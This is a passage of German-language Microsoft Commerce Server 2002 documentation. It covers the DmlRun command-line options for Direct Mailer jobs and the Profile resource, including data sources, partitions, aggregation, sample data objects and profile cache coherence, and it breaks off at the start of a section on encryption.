Um z. B. alle Ihre Direct Mailer-Aufträge aufzulisten und die Auftrags-IDs zu überprüfen, geben Sie DmlRun /list ein. Um einen bestimmten, von Direct Mailer verarbeiteten Auftrag zu beenden (z. B. Auftrag 1456), geben Sie DmlRun /term:1456 ein.

In der folgenden Tabelle sind die Optionen aufgeführt, die Sie mit DmlRun verwenden können.

Option | Beschreibung
/run:<Auftrags-ID> | Startet einen Auftrag oder setzt einen angehaltenen Auftrag fort.
/term:<Auftrags-ID> | Beendet einen Auftrag, der momentan ausgeführt wird.
/pause:<Auftrags-ID> | Hält den Auftrag an, ohne ihn zu beenden. Alle Ressourcen bleiben zugewiesen. Verwenden Sie diese Option, wenn Sie die Belastung des Simple Mail Transfer Protocol-Servers (SMTP oder einfaches E-Mail-Übertragungsprotokoll) ausgleichen möchten.
/create:<Parameter-Zeichenfolge> | Erstellt einen neuen Direct Mailer-Auftrag auf Grundlage der Daten in Ihrer Auftragsdatei. Wenn der Auftrag erstellt wurde, können Sie ihn unter Verwendung der Option /run ausführen.
/delete:<Auftrags-ID> | Löscht einen Direct Mailer-Auftrag.
/list | Listet alle Direct Mailer-Aufträge auf.
/list:[css_site=xxxx;] [filename=yyy;] Listet alle Aufträge für die angegebene Commerce Server-Site auf (wenn eine Site angegeben wurde). Wenn das Schlüsselwort für css_site nicht angegeben wird, werden die Aufträge für alle Sites aufgelistet. Wenn ein Dateiname (filename) angegeben wird, wird die Ausgabe an die angegebene Datei weitergeleitet. Wenn kein Verzeichnis angegeben wird, wird eine Datei mit dem angegebenen Namen im Verzeichnis WINNT erstellt.

Ein Beispiel für das Format der Auftragslistendatei finden Sie unter Verwenden der Option /list.
/del_old:<Alter> | Löscht abgeschlossene Aufträge, die älter als der für <Alter> angegebene Wert (gemessen in Tagen) sind.
/wait Optional. Sie können diese Option zusammen mit den Optionen /run, /term, /create und /execute verwenden. Wenn Sie diese Option mit der Option /run kombinieren, wartet DmlRun, bis der Auftrag fertig gestellt ist, bevor der Auftragsstatus an die Konsole zurückgegeben wird. Sie können die Option /wait auch mit /create /execute kombinieren, um denselben Effekt zu erzielen.

Bei Verwendung von /term /wait wartet DmlRun, bis der Auftrag tatsächlich beendet ist.

Hinweise

  • Die Option /wait muss mit einer anderen Option kombiniert werden; eine Verwendung als eigenständige Option ist nicht möglich.
  • Bei Verwendung von /wait /term wird eine Fehlermeldung wie die folgende ausgegeben: "Fehler: Der Auftrag {7f2c6324-6b72-402d-853d-8b1c654ae842} wurde mit Statuscode 1 beendet."
/execute Optional. Bei Verwendung von /create /execute erstellt DmlRun den Auftrag und führt ihn aus.

Wenn Sie die Option /execute in einer Zeile verwenden, muss in der Zeile grundsätzlich auch die Option /create enthalten sein.

/server:<Servername> | Optional. Sie können diese Option mit beliebigen anderen Optionen verwenden. Diese Option bewirkt, dass DmlRun den Auftrag remote auf dem angegebenen Server verwaltet.
/? oder /help oder /h | Stellt Hilfeinformationen für die Befehlszeilenoptionen und deren Verwendung bereit. Sie können diese Option nicht zusammen mit anderen Optionen verwenden.

Die folgenden Optionen können nicht zusammen in derselben Befehlszeile verwendet werden:

  • /create
  • /delete
  • /del_old
  • /list
  • /pause
  • /run
  • /term

Verwenden der Option "/list"

Die Auftragslistendatei kann durch den Befehl DmlRun /list:<filename> erzeugt werden. Es handelt sich dabei um eine Textdatei in einem INI-kompatiblen Format. Jeder Auftrag nimmt einen eigenen Abschnitt in Anspruch, Job <Nr.>, wobei <Nr.> für eine fortlaufende Nummer steht (von 1 bis zur Gesamtanzahl der Aufträge). Im Folgenden finden Sie einen beispielhaften Auszug aus der Datei:

[General]
JobCount=2

[Job 1]
JobID number=<job_id for the job>
Description=<Descriptive text for the job>
Status=<Integer; status code for the job>
LastRunTime=<Date/Time when the job ran last time. Blank if job did not run.>
FinishedTime=<Date/Time when the job was completed. Blank if job did not finish.>
CampaignItem=<Campaign item ID. Appears only if part of a campaign.>
DMLItem=<Direct Mailer item ID. Appears only if part of a campaign.>
CommerceSite=<css_site ID. Blank if not part of a site.>

[Job 2]

Siehe auch

Erstellen von Direct Mailer-Auftragsdateien

Erstellen und Ausführen von Direct Mailer-Aufträgen

Anzeigen des Status von Direct Mailer-Aufträgen


Ausführen der Profilressource

Mit der Profilressource von Commerce Server verwalten Sie die Benutzerdatensammlung in Ihrer Website. Sie können z. B. Profildefinitionen zur Steuerung der Daten erstellen, die von Benutzern in Ihrer Website gesammelt werden. Sie können festlegen, welche Daten mit einer Profildefinition gesammelt werden und ob bestimmte Daten in das Data Warehouse von Commerce Server exportiert werden sollen.

Durch Erstellen von Datenquellen können Sie den Speicherort festlegen, an dem die gesammelten Daten gespeichert werden. Durch Erstellen von Sitebegriffen können Sie Benutzern eine begrenzte Anzahl von Optionen zur Verfügung zu stellen, die sie beim Reagieren auf Datensammlungsfragen in Ihrer Site auswählen können. Beispiel: Eine Liste mit Farben, aus der die Benutzer ihre Lieblingsfarbe wählen können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für Profile. Hier wird der Workflow für das Verwalten von Profilen erläutert.
  • Informationen zur Profilressource. Hier werden die Features und die Funktionsweise der Profilressource beschrieben.
  • Namens- und Größenbeschränkungen für Profile. Enthält eine Auflistung der Beschränkungen für Profilname und -größe.
  • Empfohlene Vorgehensweisen für Profile. Enthält wichtige Informationen zum Erstellen und Verwalten von Profilen.
  • Konfigurieren der Verbindungszeichenfolge für die Profilressource. Hier wird das Ändern der Verbindungszeichenfolge für die Profilressource erläutert.
  • Verwalten von Datenquellen in Profilressourcen. Erläutert, wie Datenquellen, Datenobjekte und Datenelemente erstellt, geändert, hinzugefügt und gelöscht werden.
  • Verwalten von Profildefinitionen in Profilressourcen. Erläutert, wie Profildefinitionen erstellt, geändert, überprüft, eingebettet, kopiert, hinzugefügt und gelöscht werden.
  • Verwalten von Profileigenschaften in Profilressourcen. Erläutert, wie Profileigenschaften und benutzerdefinierte Eigenschaftsattribute geändert, organisiert und gelöscht werden.
  • Verwalten von verschlüsselten Profileigenschaften. Erläutert, wie verschlüsselte Profileigenschaften hinzugefügt und verwaltet werden. Darüber hinaus werden öffentliche und private Schlüssel, unidirektionale Hashfunktionen und andere wichtige Sicherheitsfeatures erläutert.
  • Verwalten von Sitebegriffen in der Profilressource. Erläutert, wie Sitebegriffe und Werte von Sitebegriffen erstellt, geändert und gelöscht werden.
  • Exportieren und Importieren von Profilschemas. Hier wird erläutert, wie Sie Profilschemas in eine XML-Datei exportieren und importieren, um das Verschieben von Profilschemas von einer Testumgebung zu einem Produktionsserver zu erleichtern.
  • Verwalten bereits vorhandener Konten in Active Directory-Speichern. Erläutert, wie der Suchcontainer und der Suchbereich von Active Directory-Datenquellen konfiguriert werden.


Workflow für Profile

In der folgenden Abbildung wird der Workflow zum Erstellen von Datenquellen und Profildefinitionen dargestellt.

Workflow für Profilressourcen

  1. Erstellen Sie eine neue Datenquelle, um der Profilressource Commerce Server-Datenbanken und LDAP-Quellen (Lightweight Directory Access Protocol) offen zu legen.
  2. Fügen Sie ein neues Datenobjekt hinzu, um der Profilressource eine Datenbanktabelle (oder eine LDAP-Klasse) offen zu legen.
  3. Fügen Sie neue Datenelemente hinzu, um der Profilressource Spalten in einer Datenbanktabelle (oder Attribute in einer LDAP-Klasse) offen zu legen.
  4. Fügen Sie eine neue Profildefinition hinzu, die für die Zuordnung zur Datenbank das Datenobjekt verwendet.
  5. Fügen Sie der Profildefinition eine neue Eigenschaft hinzu, und weisen Sie ihr ein Datenelement zu.
  6. Fügen Sie einer Profildefinition einen Sitebegriff hinzu.


Informationen zur Profilressource

Mit der Profilressource erfassen, verfolgen und speichern Sie Daten von und zu Benutzern durch Erstellen von Datenquellen, Profildefinitionen und Sitebegriffen. Mit Profildefinitionen sammeln Sie von Ihrer Microsoft Commerce Server 2002-Website aus Benutzer- und Geschäftsdaten. Datenquellen werden als Verknüpfung zum zugrunde liegenden Datenserver (LDAP- oder DB3-Quelle) verwendet. Sie erstellen Sitebegriffe, um Benutzern bei der Eingabe von persönlichen Vorlieben oder sonstigen Informationen in Ihrer Website eine begrenzte Zahl von Auswahlmöglichkeiten zur Verfügung zu stellen.

Führen Sie mithilfe der Profilressource folgende Schritte aus:

  • Erstellen von Datenquellen, Datenobjekten und Datenelementen
  • Erstellen und Überprüfen von Profildefinitionen
  • Exportieren und Importieren von Profilschemas

Mit der Profilressource und den Business Desk-Profilmodulen können Sie folgende Schritte ausführen:

  • Erstellen, Bearbeiten und Löschen von Sitebegriffen
  • Bearbeiten und Löschen von Profildefinitionen
  • Erstellen, Bearbeiten und Löschen von Profilen

Dieser Abschnitt beinhaltet folgende Themen:

  • Profildatenquellen
  • Datenquellenpartitionen
  • Profildatenaggregation
  • Beispielprofildatenquellen
  • Kohärenz des Profilcaches
  • Verschlüsselte Profileigenschaften


Profildatenquellen

Mit Datenquellen legen Sie der Profilressource Ihren Datenspeicher offen, sodass die in der Website gesammelten Daten mit Profildefinitionen im Datenspeicher gespeichert werden können. Commerce Server 2002 unterstützt OLE DB-Datenbanken sowie LDAP-Quellen (Lightweight Directory Access Protocol).

Datenquellen enthalten die folgenden Komponenten:

  • Datenobjekte. Dienen zum Offenlegen einer Tabelle in einer OLE DB-Datenbank bzw. einer Klasse in einer LDAP-Quelle gegenüber einer Profildefinition. Beim Erstellen eines Datenobjekts wird keine neue Tabelle in der Datenbank bzw. keine neue Klasse in der LDAP-Quelle erstellt. Stattdessen wird durch das Erstellen eines Datenobjekts die Tabelle bzw. LDAP-Klasse für die Profilressource sichtbar. Die Tabelle bzw. Klasse muss vorhanden sein, bevor Sie ein Datenobjekt zu ihrer Offenlegung erstellen.
  • Datenelemente. Dienen zum Offenlegen einer Tabellenspalte in einer OLE DB-Datenbank bzw. eines Klassenattributs in einer LDAP-Quelle gegenüber einer Profileigenschaft. Sie verwenden z. B. eine Profildefinition zum Sammeln von Informationen von Benutzern, wenn diese sich in Ihrer Website registrieren lassen. Die Benutzerinformationen wie z. B. Vorname, Nachname und E-Mail-Adresse werden durch Profileigenschaften gesammelt. Jede Eigenschaft ist mit einem Datenelement verknüpft, das die gesammelten Informationen der Datenbankspalte bzw. dem LDAP-Attribut zuordnet, in der bzw. dem sie gespeichert werden sollen. Dieser Vorgang kann auch als Weiterleitung bezeichnet werden.

    Beim Erstellen eines Datenelements erstellen Sie keine neue Spalte in der Datenbanktabelle bzw. kein neues Attribut in der Klasse der LDAP-Quelle. Stattdessen machen Sie die Spalte bzw. das LDAP-Attribut für die Profilressource sichtbar. Die Spalte bzw. das Attribut muss vorhanden sein, bevor Sie ein Datenelement zu ihrer bzw. seiner Offenlegung erstellen.

In der folgenden Abbildung wird dargestellt, wie sich Datenspeicher, Datenquellen und Profildefinitionen in der Profilressource ergänzen.

Verbindungen zwischen Datenspeicherung, Datenquellen und einer Profildefinition

Sie können Datenquellen partitionieren, um die einer einzelnen Datenquelle zugeordneten Daten in mehreren Datenspeichern abzulegen. Außerdem können Sie Datenspeicher aggregieren, indem Sie die Eigenschaften einer Profildefinition mehreren Datenquellen zuordnen.

Siehe auch

Datenquellenpartitionen

Profildatenaggregation

Beispielprofildatenquellen

Profildefinitionen

Erstellen einer neuen Datenquelle in der Profilressource

Verwalten von Datenquellen in Profilressourcen


Datenquellenpartitionen

Mit der Profilressource erstellen Sie partitionierte Datenquellen. Commerce Server 2002 unterstützt die Partitionierung von Datenquellen, um Sitelasten von über 25 Millionen SQL Server-Benutzern und über 10 Millionen Active Directory-Benutzern zu ermöglichen.

Die Partitionierung ist ein effektives Mittel zur Skalierung und gleichmäßigen Verteilung der Datenbanktransaktionslast, die bei großen Benutzerzahlen auftritt. Jede Partition einer Datenquelle kann eine Verbindung zu einer Datenbank oder einer LDAP-Quelle (Lightweight Directory Access Protocol) herstellen.

Alle Partitionen einer einzelnen Datenquelle müssen mit demselben Datenspeichertyp (OLE DB-Datenbank oder LDAP-Quelle) verbunden sein. Ferner müssen alle Datenspeicher, die den Partitionen einer einzelnen Datenquelle zugeordnet sind, dasselbe Schema aufweisen.

Bei partitionierten Datenquellen wird im Hinblick auf die Leistung und die Reaktionszeiten der einzelnen Datenbanken ein besseres Ergebnis erzielt, als bei der Speicherung aller mit einer Profildefinition gesammelten Daten in einer einzigen Datenbank möglich wäre.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Partitionen zum Zuordnen von Datenquellen zu mehreren Datenbanken
  • Benutzerdefinierte Attribute für Profildatenquellen-Partitionen
  • Benutzerdefinierte Attribute für Profileigenschaften


Verwenden von Partitionen zum Zuordnen von Datenquellen zu mehreren Datenbanken

Mit Profildatenquellen-Partitionen ordnen Sie Ihren Datenspeichern Profildaten zu.

Wenn Sie Partitionen zum Zuordnen einer Datenquelle zu mehreren OLE DB-Datenbanken bzw. LDAP-Quellen verwenden, müssen die Datenspeichervorrichtungen (d. h. die OLE DB-Datenbanken bzw. LDAP-Quellen) für eine einzelne Datenquelle über identische Schemas verfügen. Wenn Sie z. B. eine partitionierte Datenquelle erstellen, die drei Datenbanken zugeordnet ist, müssen die Tabellendefinitionen für die drei Datenbanken identisch sein. Bei Commerce Server-Datenquellen werden insgesamt maximal 128 Partitionen unterstützt.

Bevor Sie Partitionen einer Datenquelle zuordnen, müssen Sie die Anzahl und den Typ der Partitionen planen. Die Profilressource unterstützt weder eine Neupartitionierung noch dynamische Partitionierung. Um die Anzahl der Partitionen in einer Datenquelle zu ändern, müssen Sie eine neue Datenquelle erstellen.

Vorsicht

  • Eine Datenquelle mit mehreren Partitionen, die Microsoft Active Directory zugeordnet sind, deaktiviert das Modul "Organisationen" in Commerce Server Business Desk. Dies ist der Fall, wenn Sie die Datenquelle für das Organisationsprofil partitionieren. Es ist nicht bekannt, in welcher Partition die Organisation durch den Provider erstellt wurde. Daher können Sie keine Standardgruppen (z. B. Administratoren) in der Organisation erstellen.

Datenquellenpartitionen verwenden Hashschlüssel, um die verschiedenen Partitionen zugeordneten Daten zu verbinden. Beim Zuordnen der Eigenschaften einer Profildefinition zu einer partitionierten Datenquelle muss eine Eigenschaft der Profildefinition als Hashschlüssel festgelegt werden.

Siehe auch

Verwenden von Hashschlüsseln zum Speichern von Profildefinitionsdaten in mehreren Datenbanken


Benutzerdefinierte Attribute für Profildatenquellen-Partitionen

Sie können zu Datenquellenpartitionen benutzerdefinierte Attribute hinzufügen. Benutzerdefinierte Attribute sind anwendungsspezifisch.

In der Regel werden die Attribute, die für alle Profildefinitionen oder Datenspeicher gelten, in der Tabelle ClassDef oder SourceDef gespeichert. Es kann jedoch bestimmte Attribute geben, die nur für ausgewählte Datenquellenobjekte gelten.

Sie können z. B. ein benutzerdefiniertes Attribut erstellen, um die Sortierreihenfolge von Datenquellen oder Partitionen von Datenquellen beizubehalten, oder um eine Übereinstimmung mit anderen Objekten wie Element- und Quellendefinitionsobjekten zu gewährleisten.

Benutzerdefinierte Datenquellenattribute sind nur innerhalb der Profilressource verfügbar. Sie können nicht über die Business Desk-Profilmodule darauf zugreifen.


Benutzerdefinierte Attribute für Profileigenschaften

Die folgende Tabelle enthält eine Auflistung der benutzerdefinierten Attribute für Profileigenschaften sowie eine Beschreibung ihrer Anwendungsweise.

Benutzerdefiniertes Attribut | Beschreibung | Werte
DWMemberName | Gibt den Namen des Datenelements (in diesem Fall eine Spalte in einer Tabelle) im Data Warehouse an, in dem die Profileigenschaft gespeichert werden soll. Wenn der Elementname (die Spalte) nicht in der angegebenen Data Warehouse-Klasse (-Tabelle) vorhanden ist, wird sie durch den Profildatenimport-DTS-Task erstellt. | Der Name der Spalte im Data Warehouse.
IsTransactioned | Gibt die Unterstützung von Schreibtransaktionen über mehrere Transaktionsdatenspeicher hinweg an. | True = Aktiviert False = Deaktiviert
sAnonymousAccess | Gibt den anonymen Benutzerzugriff auf die Eigenschaft auf der Kundenservice-Seite der Website an. | 0 = Bei anonymen Benutzern ausblenden 1 = Schreibgeschützt 2 = Bearbeitbar
sDelegatedAdminAccess | Gibt den Zugriff delegierter Administratoren auf die Eigenschaft auf der Kundenservice-Seite der Website an. | 0 = Bei Administratoren ausblenden 1 = Schreibgeschützt 2 = Bearbeitbar
sDisplayColumn | Gibt an, welche Profildaten angezeigt werden, und wird verwendet, um für eine bestimmte allgemeine Profildefinition Profile im Bildschirm Suchen des Moduls "Profil-Editor" festzulegen. Wenn ein Profil nur eine Eigenschaft enthält, für die das benutzerdefinierte Attribut sDisplayColumn definiert ist, wird der Inhalt der Profilanzeigespalte für diese Eigenschaft standardmäßig in aufsteigender Reihenfolge sortiert. | Der Wert bestimmt die relative Breite der Spalte für die Eigenschaft. Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Es kann nicht als Verbindungsschlüssel oder als dualer Schlüssel definiert werden.
sFeatureID | Gibt die Siteszenarien an, für die die Eigenschaft im Kundenservice und im Partnerservice der Website angezeigt wird. | 0 = Immer anzeigen 1 = Nur anzeigen, wenn die Site die Optionen für delegierte Administratoren unterstützt 3 = Nur anzeigen, wenn die Site Active Directory verwendet
sFriendlyName | Gibt an, welche Profildaten angezeigt werden, und wird verwendet, um das bearbeitete Profil in der Titelleiste des Bildschirms Profil bearbeiten im Modul "Profil-Editor" anzuzeigen. | Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Es kann nicht als Verbindungsschlüssel oder als dualer Schlüssel definiert werden. Der Wert des Attributs sFriendlyName wird nicht verwendet.
sSearchOptions | Gibt an, dass dem Benutzer in den Suchoptionen der Site eine bestimmte Eigenschaft zur Verfügung steht. | None = Die Eigenschaft ist bei Suchvorgängen nicht verfügbar. All = Die Eigenschaft ist sowohl bei einfachen als auch bei erweiterten Suchvorgängen verfügbar. Advanced = Die Eigenschaft ist nur bei erweiterten Suchvorgängen verfügbar.
sShownInList | Gibt an, dass eine bestimmte Eigenschaft auf der Listenblattseite angezeigt wird. | 0 = Die Eigenschaft wird nicht auf der Listenblattseite angezeigt. 1 = Die Eigenschaft wird auf der Listenblattseite angezeigt.
sSiteAdminAccess | Gibt den Zugriff von Siteadministratoren auf die Eigenschaft auf der Kundenservice-Seite der Website an. | 0 = Bei Siteadministratoren ausblenden 1 = Schreibgeschützt 2 = Bearbeitbar
sUserAccess | Gibt den Zugriff registrierter Benutzer auf die Eigenschaft auf der Kundenservice-Seite der Website an. | 0 = Bei registrierten Benutzern ausblenden 1 = Schreibgeschützt 2 = Bearbeitbar
Password | Gibt an, dass das Kennwort ein Eigenschaftstyp ist. Wenn dieses benutzerdefinierte Attribut den Wert 1 hat, können zur Verwaltung der Kennwortsicherheit besondere Benutzeroberflächenfeatures implementiert werden. So können im Browserfenster z. B. Sternchen statt der eigentlichen Zeichen angezeigt und bei der Überprüfung von Kennwortänderungen mehrere Felder verwendet werden. | 0 = Normaler Eigenschaftstyp 1 = Kennwort-Eigenschaftstyp
EncryptionType | Gibt an, dass die Eigenschaft verschlüsselt ist. Mit diesem Attribut können Sie Eigenschaften anzeigen, die im Speicher verschlüsselt werden müssen. Beachten Sie außerdem, dass dies ein reservierter Wert für eine benutzerdefinierte Eigenschaft ist. Wenn Sie eine Eigenschaft als verschlüsselt kennzeichnen, wird sie automatisch für Sie erstellt und in der dynamischen Tabelle der benutzerdefinierten Attribute ausgeblendet. | 1 = Mit einem öffentlichen und einem privaten Schlüssel verschlüsselt 2 = Mit einem unidirektionalen Hashschlüssel verschlüsselt


Profildatenaggregation

Sie können Datenspeicher aggregieren, indem Sie die Eigenschaften einer Profildefinition mehreren Datenquellen zuordnen. Dies ist insbesondere für Siteentwickler von Vorteil, die mit dem Profilobjekt arbeiten, und erspart ihnen die direkte Bearbeitung der zu Grunde liegenden Datenquellen. Darüber hinaus können in der Site Daten aus unternehmensspezifischen Systemen offen gelegt werden, sodass sie am Speicherort verbleiben können und nicht migriert oder synchronisiert werden müssen.

Die Profilressource ist in der Lage, Daten aus einer Vielzahl von Datenquellen zu aggregieren. Es werden beispielsweise alle LDAPv3-Datenquellen und alle relationalen Datenbanken mit OLEDB/ODBC-Provider (OLEBD/Open Database Connectivity) unterstützt, die eine Anzahl einfacher ANSI-SQL-Befehle verarbeiten können. Weiterhin werden auch nicht persistente Datenspeicher unterstützt, z. B. Internet Locator Service (ILS).

Die Architektur der Datenaggregationsebene im Provider unterstützt auch unternehmensspezifische Speicher mit minimaler LDAPv3-Unterstützung oder einen OLEDB/ODBC-Provider mit minimaler ANSI-SQL-Unterstützung. Informationen zu Datenaggregationsebenen finden Sie unter Aggregation über mehrere Datenquellen hinweg.

Wenn Sie Profildaten aggregieren möchten, müssen Sie ein Profildatenobjekt erstellen, dem Sie eine Profileigenschaft zuordnen können. Beim Verwenden von mehreren Datenquellen in einer Profildefinition muss ein Verbindungsschlüssel erstellt werden, der beiden Quellen zugeordnet wird. Eine eindeutige Schlüsseleigenschaft muss bei der Aggregation von Profildaten als Verbindungsschlüssel gekennzeichnet werden. Um eine eindeutige Schlüsseleigenschaft als Verbindungsschlüssel zu kennzeichnen, setzen Sie für die entsprechende Eigenschaft das IsJoinKey-Attribut auf "true". Eine Verbindungsschlüsseleigenschaft wird in allen Datenspeichern gespeichert und von der Aggregationsebene des Datenspeichers zur Optimierung datenspeicherübergreifender Operationen verwendet.

Hinweise

  • Wenn Sie eine bestehende Active Directory-Domäne verwenden, müssen Sie bei der Aggregation eines SQL-Profils die Profildefinition bearbeiten, um die Aggregation zu definieren und die UserObject-Tabelle im Voraus mit den folgenden Informationen zu versehen:
    • Active Directory join key = cn
    • SQL join key = Logon_name
  • Wenn Sie Daten in einer Active Directory-Datenbank und einer SQL Server-Datenbank aggregieren und in diesem Zusammenhang vorhandene Benutzer löschen möchten, müssen Sie mit Commerce Server Manager oder Commerce Server Business Desk arbeiten.

Siehe auch

SQL-Sichten für die Datenspeicheraggregation

Erstellen einer Profildefinition mit zwei Datenquellen


SQL-Sichten für die Datenspeicheraggregation

Zusätzlich zur Anzeige von SQL Server-Tabellen für die Datenspeicheraggregation umfasst Commerce Server-Manager als Teil der Datenquellenerkennung SQL-Sichten. SQL-Sichten unterstützen Tabellen mit zusammengesetztem Primärschlüssel (d. h., der Primärschlüssel besteht aus mehreren Spalten).

SQL-Sichten fassen Daten aus mehreren Tabellen zusammen und erstellen dann eine Ansicht mit einer einzelnen Tabelle, für die Sie ein Profil definieren können.

Der Workflow für die Definition von Profilen mithilfe von Sichten stimmt mit dem für die Konfiguration von Profilen mithilfe von SQL Server-Tabellen überein.

Die Implementierung von Sichten zur Definition von Profilen erfordert die Unterstützung von "Instead-Triggern". Mit "Instead-Triggern" übersetzen Sie Profildienst- und ActiveX Data Objects (ADO)-Abfrageoperationen in die notwendigen Aktionen für die durch die Sicht aggregierten Tabellen.

Informationen zum Konfigurieren von Sichten und zum Definieren von Triggern finden Sie in der SQL Server-Onlinedokumentation.

Siehe auch

Profildatenaggregation


Beispielprofildatenquellen

Wenn Sie eine Lösungssite entpacken, fügt Commerce Server der Profilressource eine Beispieldatenquelle mit dem Namen Profildienst_SQLQuelle hinzu. Die Datenquelle Profildienst_SQLQuelle stellt Ihnen die Beispieldatenobjekte Adresse, Pauschalbestellungen, Organisation und Benutzerobjekt zur Verfügung. Dieser Abschnitt enthält Informationen zu den folgenden Objekten:

  • Beispieldatenobjekt "Adresse"
  • Beispieldatenobjekt "Pauschalbestellungen"
  • Beispieldatenobjekt "Organisation"
  • Beispieldatenobjekt "Benutzerobjekt"


Beispieldatenobjekt "Adresse"

In der folgenden Tabelle sind die Datenelemente aufgeführt, die im Datenobjekt Adresse zur Verfügung stehen.

Name | Datentyp
g_address_id | Zeichenfolge
g_id | Zeichenfolge
i_address_type | Zahl
u_address_name | Zeichenfolge
u_first_name | Zeichenfolge
u_last_name | Zeichenfolge
u_description | Zeichenfolge
u_address_line1 | Zeichenfolge
u_address_line2 | Zeichenfolge
u_city | Zeichenfolge
u_region_code | Zeichenfolge
u_region_name | Zeichenfolge
u_postal_code | Zeichenfolge
u_country_code | Zeichenfolge
u_country_name | Zeichenfolge
u_tel_number | Zeichenfolge
u_tel_extension | Zeichenfolge
i_locale | Zahl
u_user_id_changed_by | Zeichenfolge
d_date_last_changed | Datum/Uhrzeit
d_date_created | Datum/Uhrzeit


Beispieldatenobjekt "Pauschalbestellungen"

In der folgenden Tabelle sind die Datenelemente aufgeführt, die im Datenobjekt Pauschalbestellungen zur Verfügung stehen.

Name | Datentyp
g_org_id | Zeichenfolge
g_po_id | Zeichenfolge
u_po_number | Zeichenfolge
u_description | Zeichenfolge
g_user_id_changed_by | Zeichenfolge
d_date_last_changed | Datum/Uhrzeit
d_date_created | Datum/Uhrzeit


Beispieldatenobjekt "Organisation"

In der folgenden Tabelle sind die Datenelemente aufgeführt, die im Datenobjekt Organisation zur Verfügung stehen.

Name | Datentyp
g_org_id | Zeichenfolge
u_name | Zeichenfolge
u_trading_partner_number | Zeichenfolge
g_user_id_admin_contact | Zeichenfolge
g_user_id_receiver | Zeichenfolge
u_org_catalog_set | Zeichenfolge
g_user_id_changed_by | Zeichenfolge
g_user_purchasing_manager | Zeichenfolge
d_date_last_changed | Datum/Uhrzeit
d_date_created | Datum/Uhrzeit


Beispieldatenobjekt "Benutzerobjekt"

In der folgenden Tabelle sind die Datenelemente aufgeführt, die im Datenobjekt Benutzerobjekt zur Verfügung stehen.

Name | Datentyp
g_user_id | Zeichenfolge
g_org_id | Zeichenfolge
u_user_title | Zeichenfolge
i_user_type | Zahl
u_first_name | Zeichenfolge
u_last_name | Zeichenfolge
u_email_address | Zeichenfolge
u_tel_number | Zeichenfolge
u_tel_extension | Zeichenfolge
u_fax_number | Zeichenfolge
u_fax_extension | Zeichenfolge
u_logon_name | Zeichenfolge
u_user_security_password | Zeichenfolge
g_user_id_changed_by | Zeichenfolge
i_account_status | Zahl
u_user_catalog_set | Zeichenfolge
d_date_registered | Datum/Uhrzeit
u_campaign_history | Zeichenfolge
i_partner_desk_role | Zahl
d_date_last_changed | Datum/Uhrzeit
d_date_created | Datum/Uhrzeit
u_pref1 | Zeichenfolge
u_pref2 | Zeichenfolge
u_pref3 | Zeichenfolge
u_pref4 | Zeichenfolge
u_pref5 | Zeichenfolge

Hinweis

  • Mit den u_pref-Datenelementen können Sie der Profildefinition Benutzerobjekt Eigenschaften hinzufügen, ohne die Datenbank zu erweitern. Sie können diese Datenelemente anpassen.

Die Datenquelle Profildienst_SQLQuelle wird BeispielProfildefinitionen zugeordnet, die standardmäßig der Profilressource sowie Commerce Server Business Desk hinzugefügt werden.

Siehe auch

Profildefinitionen

Beispielprofildefinitionen

Erstellen einer neuen Datenquelle in der Profilressource

Hinzufügen eines neuen Datenobjekts in der Profilressource

Hinzufügen eines neuen Datenelements in der Profilressource

Verwalten von Datenquellen in Profilressourcen

Profiles Schema (englisches Thema)


Kohärenz des Profilcaches

Die Retail Solution Site verwendet einen Timestamp, um ein aktualisiertes Profil zu erkennen, wenn ein Benutzer an einen anderen Webserver weitergeleitet wird und Informationen zwischengespeichert sind. Der Webserver vergleicht den Timestamp mit dem zwischengespeicherten Profil. Wenn der Timestamp neu (d. h. der Cache alt) ist, führt die Seite eine vollständige Schleife zur Datenbank durch.

In einem Webfarmszenario stellt jeder Server einen lokalen Profilcache bereit. Wenn das Profil auf einem anderen Server geändert wurde, ist der Wert des Benutzerprofils (UserObject-Profil) möglicherweise in einem bestimmten Cache veraltet. Damit der Server die Änderung des Benutzerprofils erkennen kann, wird beim Erstellen und Aktualisieren (UpdateUserProfile) des Profils der zuletzt aktualisierte Timestamp sowohl im Benutzerprofil (im Profilspeicher) als auch in einem Cookie für den Benutzer festgelegt.

Wenn ein Benutzer einen Server in der Webfarm besucht, wird der Timestamp im Profil im lokalen Cache mit dem Timestamp im Cookie verglichen (GetCurrentUserProfile). Wenn diese nicht übereinstimmen, wird das Profil unter Umgehung des lokalen Caches aus dem Profilspeicher abgerufen (mit der GetInfo-Methode der IADs-Schnittstelle). Wenn keine Cookies aktiviert sind, wird der Cache immer umgangen, da es aufgrund von Problemen im Zusammenhang mit der Verwendung der Schaltflächen Zurück und Aktualisieren keine zuverlässige Methode gibt, die zuletzt aktualisierte Zeit zu ermitteln.

Bei der Suche nach Adressprofilen wird der Cache immer umgangen, da nur selten auf diese zugegriffen wird und die Anzahl der zu verfolgenden Profile potenziell hoch ist. Ob der Cache bei Organisationsprofilabfragen umgangen wird, hängt davon ab, mit welcher Wahrscheinlichkeit die Daten im Profil geändert werden müssen.

Auch mit der Timestamp-Lösung können im Zusammenhang mit den Profilen Probleme bei der Cachekohärenz auftreten. Wenn das derzeit zwischengespeicherte Benutzerprofil beispielsweise vom Business Desk oder Partner Desk aus auf einem anderem Computer und von einem anderen Benutzer geändert wird, liegt den Sites nicht die Information vor, dass der Cache veraltet ist. Um dies zu vermeiden, rufen die Lösungssites bei der Anmeldung die GetInfo-Methode auf.

Wenn dieser Grad an Genauigkeit nicht zulässig ist, schließen die Lösungssites die in der Datei include\setupenv.asp deklarierte Variable m_iGlobalProfileLookUpOption ein, die, wenn sie festgelegt ist, jedes Mal den Aufruf der GetInfo-Methode erzwingt, mit der das Profil aus dem Profilspeicher abgerufen wird.

Commerce Server-Lösungssites sind unter http://go.microsoft.com/fwlink/?linkid=6491 verfügbar.


Verschlüsselte Profileigenschaften

Commerce Server unterstützt zwei Arten von Verschlüsselung: die asymmetrische Verschlüsselung (Asymmetric Encryption, AE) und unidirektionale Hashfunktionen. Die symmetrische Verschlüsselung wird in Commerce Server 2002 nicht unterstützt.

Wichtig

  • Commerce Server verfügt nicht über ein Schlüsselverwaltungssystem. Sie müssen ein Schlüsselverwaltungssystem entwerfen und erstellen, das die zum Verschlüsseln benötigten öffentlichen und privaten Schlüssel erzeugen, speichern und abrufen kann.

Asymmetrische Verschlüsselung
